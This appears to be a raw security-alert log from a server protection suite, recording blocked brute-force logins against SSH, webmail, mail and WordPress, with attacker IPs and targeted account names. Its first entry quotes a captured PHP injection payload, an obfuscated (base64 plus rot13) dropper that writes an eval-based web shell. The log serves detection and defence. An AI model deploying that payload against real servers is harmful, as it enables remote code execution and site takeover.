IM360 WAF: PHP Injection Attack: I/O Stream Found||MVN:ARGS:content||MV:<?php call_user_func(\"file_put_contents\",\"php://filter/write=convert.base64-decode|string.rot13/resource=sxf.php\",\"PD9jdWMgcmVlYmVfZXJjYmVndmF0KDApOyRuPSckX2NiZmdbImsiXSc7JG89ZmdlZ2JoY2NyZSgiJG4iKTtyaW55KCJyaW55KCRvKTsiKT8+dXJlcg==\");?>||RSV:6.65||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 178.215.169.58
description:
[2025-01-29 12:14:32 +0100] info [webmaild] 178.215.169.58 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 12:14:33 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 114.247.207.98
description:
2025-01-29 12:14:02 dovecot_plain authenticator failed for ([114.247.207.98]) [114.247.207.98]:36738: 535 Incorrect authentication data (set_id=ads20a00243y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 114.247.207.98
description:
Jan 29 12:14:00 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 114.247.207.98 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 165.220.130.160
description:
2025-01-29 12:14:55 dovecot_plain authenticator failed for ([165.220.130.160]) [165.220.130.160]:56876: 535 Incorrect authentication data (set_id=ads17b00155y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 81.232.72.247
description:
2025-01-29 12:15:37 dovecot_login authenticator failed for 81-232-72-247-no600.tbcn.telia.com [81.232.72.247]:34846: 535 Incorrect authentication data (set_id=dhdvn)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.247.127.252
description:
2025-01-29 12:15:38 dovecot_plain authenticator failed for ([211.247.127.252]) [211.247.127.252]:45550: 535 Incorrect authentication data (set_id=ads18a00007y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 165.220.130.160
description:
Jan 29 12:14:53 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 165.220.130.160 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 77.37.174.248
description:
2025-01-29 12:15:09 dovecot_plain authenticator failed for broadband-77-37-174-248.ip.moscow.rt.ru [77.37.174.248]:50930: 535 Incorrect authentication data (set_id=ads17b00155y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.247.127.252
description:
Jan 29 12:15:36 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.247.127.252 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 117.175.160.29
description:
Jan 29 12:15:50 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 117.175.160.29 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 77.37.174.248
description:
Jan 29 12:15:07 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 77.37.174.248 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 41.159.145.190
description:
Jan 29 12:15:28 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 41.159.145.190 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.159.145.190
description:
2025-01-29 12:15:30 dovecot_login authenticator failed for ([41.159.145.190]) [41.159.145.190]:38461: 535 Incorrect authentication data (set_id=dhdvn@iric.us)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 81.232.72.247
description:
Jan 29 12:15:35 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 81.232.72.247 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 117.175.160.29
description:
2025-01-29 12:15:52 dovecot_plain authenticator failed for ([117.175.160.29]) [117.175.160.29]:37386: 535 Incorrect authentication data (set_id=jntsoumou@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.211.250.122
description:
Jan 29 12:16:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.211.250.122 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 129.205.14.196
description:
Jan 29 12:15:55 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 129.205.14.196 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.43.115.119
description:
2025-01-29 12:16:37 dovecot_plain authenticator failed for (conata.static.gvt.net.br) [177.43.115.119]:50421: 535 Incorrect authentication data (set_id=ads06a99959y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 60.173.105.206
description:
Jan 29 12:16:43 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 60.173.105.206 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 60.173.105.206
description:
2025-01-29 12:16:45 dovecot_plain authenticator failed for ([60.173.105.206]) [60.173.105.206]:57864: 535 Incorrect authentication data (set_id=jntsoumou)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 129.205.14.196
description:
2025-01-29 12:15:57 dovecot_plain authenticator failed for ([129.205.14.196]) [129.205.14.196]:43002: 535 Incorrect authentication data (set_id=ads18a00007y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 190.211.250.122
description:
2025-01-29 12:16:17 dovecot_plain authenticator failed for ([190.211.250.118]) [190.211.250.122]:35996: 535 Incorrect authentication data (set_id=ads06a99959y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 186.200.158.42
description:
Jan 29 12:16:17 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 186.200.158.42 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 186.200.158.42
description:
2025-01-29 12:16:19 dovecot_plain authenticator failed for (186-201-3-45.customer.tdatabrasil.net.br) [186.200.158.42]:59365: 535 Incorrect authentication data (set_id=jntsoumou@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.43.115.119
description:
Jan 29 12:16:35 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.43.115.119 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 61.186.136.36
description:
Jan 29 12:17:45 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 61.186.136.36 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.186.136.36
description:
2025-01-29 12:17:47 dovecot_plain authenticator failed for ([61.186.136.36]) [61.186.136.36]:45767: 535 Incorrect authentication data (set_id=jpomador@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 78.142.41.167
description:
Jan 29 12:18:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 78.142.41.167 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 78.142.41.167
description:
2025-01-29 12:18:03 dovecot_plain authenticator failed for ([78.142.41.167]) [78.142.41.167]:58692: 535 Incorrect authentication data (set_id=jpomador)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.4.146.242
description:
[2025-01-29 12:18:41 +0100] info [webmaild] 45.4.146.242 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 191.7.38.226
description:
[2025-01-29 12:18:42 +0100] info [webmaild] 191.7.38.226 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 146.190.50.206
description:
Jan 29 12:18:55 ait sshd[111272]: pam_imunify(sshd:auth): [IM360_RBL] The IP 146.190.50.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.123.172.7
description:
Jan 29 12:19:30 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.123.172.7 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 146.190.50.206
description:
Jan 29 12:18:55 ait sshd[111272]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=146.190.50.206  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 203.76.222.105
description:
[2025-01-29 12:19:02 +0100] info [webmaild] 203.76.222.105 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 197.94.220.205
description:
[2025-01-29 12:19:14 +0100] info [webmaild] 197.94.220.205 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 70.89.116.5
description:
Jan 29 12:20:15 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 70.89.116.5 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 29 12:20:36 ait sshd[112400]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 218.150.170.10
description:
2025-01-29 12:20:01 dovecot_plain authenticator failed for ([218.150.170.10]) [218.150.170.10]:32882: 535 Incorrect authentication data (set_id=abs08a99987y@ait.edu.gh)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.38.244.233
description:
[2025-01-29 12:20:25 +0100] info [webmaild] 177.38.244.233 - info@aitlemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.150.170.10
description:
Jan 29 12:19:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 218.150.170.10 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 200.236.248.175
description:
[2025-01-29 12:20:35 +0100] info [webmaild] 200.236.248.175 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 29 12:20:36 ait sshd[112400]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 43.138.150.67
description:
Jan 29 12:20:32 ait sshd[112365]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=43.138.150.67


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 70.89.116.5
description:
2025-01-29 12:20:17 dovecot_plain authenticator failed for ([70.89.116.5]) [70.89.116.5]:32830: 535 Incorrect authentication data (set_id=abs08a99987y)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.138.150.67
description:
Jan 29 12:20:32 ait sshd[112365]: pam_imunify(sshd:auth): [IM360_RBL] The IP 43.138.150.67 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.174.252.131
description:
Jan 29 12:21:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.174.252.131 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.210.27.53
description:
2025-01-29 12:21:06 dovecot_plain authenticator failed for ([223.210.27.53]) [223.210.27.53]:21998: 535 Incorrect authentication data (set_id=eng22a00061y@ait.edu.gh)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.174.252.131
description:
2025-01-29 12:21:29 dovecot_plain authenticator failed for ([39.174.252.131]) [39.174.252.131]:56798: 535 Incorrect authentication data (set_id=eng22a00061y)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 103.196.155.104
domain: admission.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:||WPU:||RSV:6.65||T:APACHE||MV:12-21.103.196.155.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.172.79.206
description:
2025-01-29 12:21:23 dovecot_plain authenticator failed for ([211.172.79.206]) [211.172.79.206]:55494: 535 Incorrect authentication data (set_id=ads22b00295y)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.70.49.185
description:
2025-01-29 12:21:33 dovecot_plain authenticator failed for 111-70-49-185.emome-ip.hinet.net [111.70.49.185]:50048: 535 Incorrect authentication data (set_id=eng18b00179y)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 211.172.79.206
description:
Jan 29 12:21:21 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 211.172.79.206 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 103.106.154.10
description:
Jan 29 12:21:01 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 103.106.154.10 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 189.39.139.31
description:
[2025-01-29 12:21:13 +0100] info [webmaild] 189.39.139.31 - info@jabmar.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.106.154.10
description:
2025-01-29 12:21:03 dovecot_plain authenticator failed for ([103.106.154.10]) [103.106.154.10]:59393: 535 Incorrect authentication data (set_id=ads22b00295y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 119.84.241.94
description:
Jan 29 12:21:11 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 119.84.241.94 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.210.27.53
description:
Jan 29 12:21:04 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.210.27.53 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 119.84.241.94
description:
2025-01-29 12:21:13 dovecot_plain authenticator failed for ([119.84.241.94]) [119.84.241.94]:47278: 535 Incorrect authentication data (set_id=eng18b00179y@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.70.49.185
description:
Jan 29 12:21:31 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 111.70.49.185 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 220.182.11.126
description:
Jan 29 12:22:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 220.182.11.126 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 12:22:27 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 177.222.38.9
description:
Jan 29 12:21:54 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 177.222.38.9 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.182.11.126
description:
2025-01-29 12:22:25 dovecot_plain authenticator failed for ([220.182.11.126]) [220.182.11.126]:51538: 535 Incorrect authentication data (set_id=tgbadamosi)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 177.222.38.9
description:
2025-01-29 12:21:56 dovecot_plain authenticator failed for (scz-177-222-38-00009.tigo.bo) [177.222.38.9]:58630: 535 Incorrect authentication data (set_id=tgbadamosi@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 39.164.91.67
description:
Jan 29 12:23:20 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 39.164.91.67 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 95.25.36.250
description:
[2025-01-29 12:23:44 +0100] info [webmaild] 95.25.36.250 - info@ait-open.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 41.250.97.201
description:
[2025-01-29 12:23:44 +0100] info [webmaild] 41.250.97.201 - info@aitedu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 115.20.134.78
description:
Jan 29 12:23:10 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 115.20.134.78 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 115.20.134.78
description:
2025-01-29 12:23:12 dovecot_plain authenticator failed for ([115.20.134.78]) [115.20.134.78]:57862: 535 Incorrect authentication data (set_id=ads22b00248y@ait.edu.gh)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.50.104
description:
47.128.50.104 - - [29/Jan/2025:12:23:43 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9223054 HTTP/2.0" 302 0 lms.aitsmartschool.com "https://lms.aitsmartschool.com/courses/page/10/?duration=short&filter_course-category=205&filtering=1&level=intermediate%2Cbeginner%2Cexpert" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.50.104


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 39.164.91.67
description:
2025-01-29 12:23:22 dovecot_plain authenticator failed for ([39.164.91.67]) [39.164.91.67]:39078: 535 Incorrect authentication data (set_id=ads22b00248y)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 169.224.65.14
description:
[2025-01-29 12:24:00 +0100] info [webmaild] 169.224.65.14 - info@tit-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.24.125
description:
47.128.24.125 - - [29/Jan/2025:12:24:28 +0100] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10986359 HTTP/1.1" 302 0 ait-open.net "http://ait-open.net/elearning/course/view.php?id=117" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; Bytespider; spider-feedback@bytedance.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.24.125


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 116.122.157.193
description:
Jan 29 12:24:52 ait sshd[114943]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=116.122.157.193  user=gvu


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 218.92.0.212
description:
Jan 29 12:25:20 ait sshd[115264]: pam_imunify(sshd:auth): [IM360_RBL] The IP 218.92.0.212 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 106.246.224.218
description:
Jan 29 12:25:29 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 106.246.224.218 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 185.190.132.243
description:
[2025-01-29 12:25:03 +0100] info [webmaild] 185.190.132.243 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 45.163.190.230
description:
[2025-01-29 12:25:37 +0100] info [webmaild] 45.163.190.230 - info@aitvarsity.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 5758
name: Maximum authentication attempts exceeded.
abuser: 218.92.0.212
description:
Jan 29 12:25:41 ait sshd[115264]: error: maximum authentication attempts exceeded for root from 218.92.0.212 port 34434 ssh2 [preauth]


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 116.122.157.193
description:
Jan 29 12:24:52 ait sshd[114943]: pam_imunify(sshd:auth): [IM360_RBL] The IP 116.122.157.193 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 95.214.210.62
description:
[2025-01-29 12:24:54 +0100] info [webmaild] 95.214.210.62 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 218.92.0.212
description:
Jan 29 12:25:20 ait sshd[115264]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=218.92.0.212  user=root


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 181.220.130.4
description:
[2025-01-29 12:25:54 +0100] info [webmaild] 181.220.130.4 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 43.153.107.247
description:
Jan 29 12:26:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 43.153.107.247 has been locked due to Imunify RBL


plugin: ossec
rule: 5710
name: Attempt to login using a non-existent user
abuser: 111.231.56.128
description:
Jan 29 12:26:07 ait sshd[115771]: Invalid user xn--minblhimmel-18a.se 2001 from 111.231.56.128 port 37710


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 111.231.56.128
description:
Jan 29 12:26:07 ait sshd[115771]: pam_imunify(sshd:auth): [IM360_RBL] The IP 111.231.56.128 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 111.231.56.128
description:
Jan 29 12:26:07 ait sshd[115771]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=111.231.56.128


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 77.83.1.116
domain: gvu.titopen.us
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:gvu_admin||WPU:gvu_admin||RSV:6.65||T:APACHE||MV:12-26.77.83.1.116


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 54.36.108.223
description:
Jan 29 12:27:45 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 54.36.108.223 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 102.90.100.89
description:
[2025-01-29 12:27:48 +0100] info [webmaild] 102.90.100.89 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 12:28:40 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 223.197.164.188
description:
Jan 29 12:30:52 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 223.197.164.188 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 223.197.164.188
description:
2025-01-29 12:30:54 dovecot_plain authenticator failed for ([223.197.164.188]) [223.197.164.188]:60986: 535 Incorrect authentication data (set_id=afenyo@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 94.204.237.10
description:
Jan 29 12:31:12 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 94.204.237.10 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 94.204.237.10
description:
2025-01-29 12:31:14 dovecot_plain authenticator failed for ([94.204.237.10]) [94.204.237.10]:45523: 535 Incorrect authentication data (set_id=afenyo)


plugin: modsec
rule: 33303
name: IM360 WAF: WordPress Bruteforce RBL block
abuser: 80.76.51.123
domain: phd.ait.edu.gh
description:
IM360 WAF: WordPress Bruteforce RBL block||Name:admin||WPU:admin||RSV:6.65||T:APACHE||MV:12-30.80.76.51.123


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 177.36.170.115
description:
[2025-01-29 12:30:50 +0100] info [webmaild] 177.36.170.115 - info@ait-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.54.72.51
description:
[2025-01-29 12:31:21 +0100] info [webmaild] 84.54.72.51 - info@elibrary-edu.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 180.71.9.57
description:
Jan 29 12:31:59 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 180.71.9.57 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.71.9.57
description:
2025-01-29 12:32:01 dovecot_plain authenticator failed for ([180.71.9.57]) [180.71.9.57]:51336: 535 Incorrect authentication data (set_id=assdas3@ait.edu.gh)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 122.160.68.46
description:
Jan 29 12:32:16 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 122.160.68.46 has been locked due to Imunify RBL


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.160.68.46
description:
2025-01-29 12:32:18 dovecot_plain authenticator failed for (abts-north-static-046.68.160.122.airtelbroadband.in) [122.160.68.46]:53800: 535 Incorrect authentication data (set_id=assdas3)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 201.210.113.27
description:
[2025-01-29 12:31:47 +0100] info [webmaild] 201.210.113.27 - info@myait.org "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 31.40.19.90
description:
[2025-01-29 12:32:02 +0100] info [webmaild] 31.40.19.90 - info@aitstaff.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 101.32.73.141
description:
Jan 29 12:33:03 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 101.32.73.141 has been locked due to Imunify RBL


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.123.231
description:
Jan 29 12:32:23 ait auth[70250]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 175.126.123.231 has been locked due to Imunify RBL


plugin: ossec
rule: 11000
name: Login failed on the cpanel service
abuser: 84.22.41.185
description:
[2025-01-29 12:33:12 +0100] info [webmaild] 84.22.41.185 - info@lemass.net "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password hash is missing from system (user probably does not exist)


plugin: ossec
rule: 6003
name: Imunify PAM. The IP has been locked by RBL
abuser: 175.126.195.176
description:
Jan 29 12:33:18 ait sshd[120501]: pam_imunify(sshd:auth): [IM360_RBL] The IP 175.126.195.176 has been locked due to Imunify RBL


plugin: ossec
rule: 2501
name: User authentication failure.
abuser: 175.126.195.176
description:
Jan 29 12:33:18 ait sshd[120501]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=175.126.195.176


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
